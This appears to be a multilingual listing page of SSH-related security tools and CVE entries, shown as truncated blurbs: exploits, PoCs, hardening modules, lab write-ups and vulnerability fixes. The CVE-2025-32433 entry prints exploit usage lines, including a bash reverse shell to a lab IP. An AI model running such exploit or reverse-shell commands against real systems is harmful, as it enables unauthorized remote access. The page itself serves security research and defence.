meterssh

Tool Name: MeterSSH Written by: David Kennedy Company: TrustedSec Website: https://www.trustedsec.com Twitter: @TrustedSec, @HackingDave MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH...

chef-ssh-hardening

ssh-hardening Chefクックブック 説明 このクックブックは、安全なssh-clientおよびssh-serverの設定を提供します。このクックブックはユーザーやsshキーの管理機能を提供しません。その場合は他のクックブックを使用してください。 要件 Chef = 14.13.11 プラットフォーム Debian 8, 9, 10 Ubuntu 16.04, 18.04 RHEL 6, 7 CentOS 6, 7 Oracle Linux 6, 7 Fedora 29, 30 OpenSuse Leap 42 Amazon Linux 1, 2 属性...

puppet-ssh-hardening

Puppet SSH ハードニング 説明 このPuppetモジュールは、安全なssh-clientおよびssh-server設定を提供します。 要件 Puppet Puppetモジュール: saz/ssh = 2.3.6、puppetlabs/stdlib = 4.2.0 パラメータ ipv6enabled = false - IPv6が必要な場合はtrue cbcrequired = false -...

CVE-2026-21994

CVE-2026-21994 概要 Oracle OKIT oci-designer-toolkit バージョン 0.3.0 には、連鎖して認証なしの完全乗っ取りにつながる2つの重大な設定ミスが存在します。公開リポジトリに公開されたハードコードされた Flask SECRETKEY により、攻撃者は資格情報を一切必要とせずに有効な管理者セッション Cookie を偽造できます。さらに、Docker イメージは SSH ホスト検証を完全に無効化しており、ネットワーク攻撃者がインフラストラクチャのデプロイ中に OCI API キーや秘密鍵を傍受できるようになっています。 脆弱性 1...

ssh-audit

ssh-audit...

CVE-2023-38408

参考 / 情報 https://www.qualys.com/2023/07/19/cve-2023-38408/rce-openssh-forwarded-ssh-agent.txt...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — コード解析 Cockpit: SSHコマンドライン引数インジェクションによる認証不要のリモートコード実行...

CVE-2026-1459-POC

CVE-2026-1459-POC CVE-2026-1459のPOCです。このペイロードはrootのSSHパスワードを変更します。 有効な管理者資格情報が必要です。rootパスワードを一時的に変更し、再起動するとrootパスワードはリセットされます。 VMG3625-T50Bおよび類似モデルで動作し、ファームウェアV5.50ABPM.9.7C0以前で動作が保証されています。...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2024-6387

root@kitploit: EXPLOIT CVE-2024-6387 💥 EXPLOIT CVE-2024-6387 regreSSHion OpenSSH 서버의 CVE-2024-6387 취약점에 대한 분석, 탐지 및 통제된 테스트를 위한 도구입니다. ⚠️ 법적 및 윤리적 고지 이 저장소는 오로지 교육용 입니다. 다음에서만 사용하십시오: 실습 환경 HTB, TryHackMe 자체 환경 명시적 승인을 받은 감사 ⚠️ 허가 없이 시스템을 스캔하거나 익스플로잇하는 것은 불법입니다. 이 콘텐츠는 방어 및 학습을 목적으로 합니다. 📑 목차 📖 일반...

CVE-Exploit-Research-Development

🔐 SSH 익스플로잇 도구 교육용으로만 사용 📌 설명 이 도구는 다음 취약점을 악용하는 방법을 보여줍니다: CVE-2008-0166 CVE-2008-1657 취약한 SSH 서비스에 연결하여 다음을 제공합니다: 지속적인 대화형 셸 명령 실행 로깅 자동 PDF 및 DOCX 보고서 생성 ⚙️ 기능 지속적인 셸 cd, ls, pwd 등 실제 명령 출력 캡처 전문 보고서 생성 정리된 출력 디렉터리 📦 설치 root@kitploit: git clone...

htb-facts

HTB — Facts Easy/Linux - Season 10 Summary Facts is an Easy Linux machine that requires exploiting a known vulnerability CVE-2025-2304 in Camaleon CMS to extract local AWS S3 credentials. Enumerating the internal S3 buckets reveals an SSH private key that must be cracked using John the Ripper to...

-SSH-Enum-CVE-2018-15473

🛡️ OpenSSH User Enumeration Tool CVE-2018-15473 User enumeration tool for OpenSSH versions below 7.7. This version has been ported to Python 3 and optimized for maximum stability in HackTheBox and TryHackMe labs. ✨ Key improvements Compatibility: Works with paramiko 3.x fixes the property object i...

Weblate-CVE-2026-24126

Weblate — SSHホスト引数インジェクションによる任意ファイル読み取り 発見者: Alejandro Baño · 2026年1月 謝辞: Weblate 5.16 リリースノート 概要 WeblateのSSHホストキー管理エンドポイントは、認証済み管理者が指定したhostパラメータを、サニタイズや引数検証を一切行わずに直接ssh-keyscanへ渡します。ssh-keyscanは-f...

CVE-2025-32433-available-for-windows

CVE-2025-32433 Information about the vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server...

CVE-2018-15473

CVE-2018-15473 - SSH Username Enumeration Exploit A tool for enumerating valid usernames on vulnerable SSH servers OpenSSH 2.3 through 7.7. 📋 Vulnerability Description CVE-2018-15473 allows enumeration of existing users on SSH servers by sending malformed authentication packets. The server respon...

xortool

xortool.py A tool to do some xor analysis: guess the key length based on count of equal chars guess the key base on knowledge of most frequent char Notice: xortool is now only running on Python 3. The old Python 2 version is accessible at the py2 branch. The pip package has been updated...

DEBIAN-CVE-2026-56855

Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection. Now, we handle all RFC 4254 channel messages; global requests are handled explicitly. Then, treat all other messages as a protocol error and tear the connectio...

CVE-2026-56855

CVE-2026-56855 is a denial-of-service vulnerability in the golang.org/x/crypto/ssh package. After an SSH channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection . The root cause was that the implementation was buffering and blocking on ...

CVE-2026-78662

CVE-2026-78662 affects the golang.org/x/crypto/ssh library. A channel registered in the mux's chanList was not marked as established until fully set up. A malicious peer could flood the channel's incomingRequests, deadlocking the entire connection (DoS). The fix introduces an atomic established s...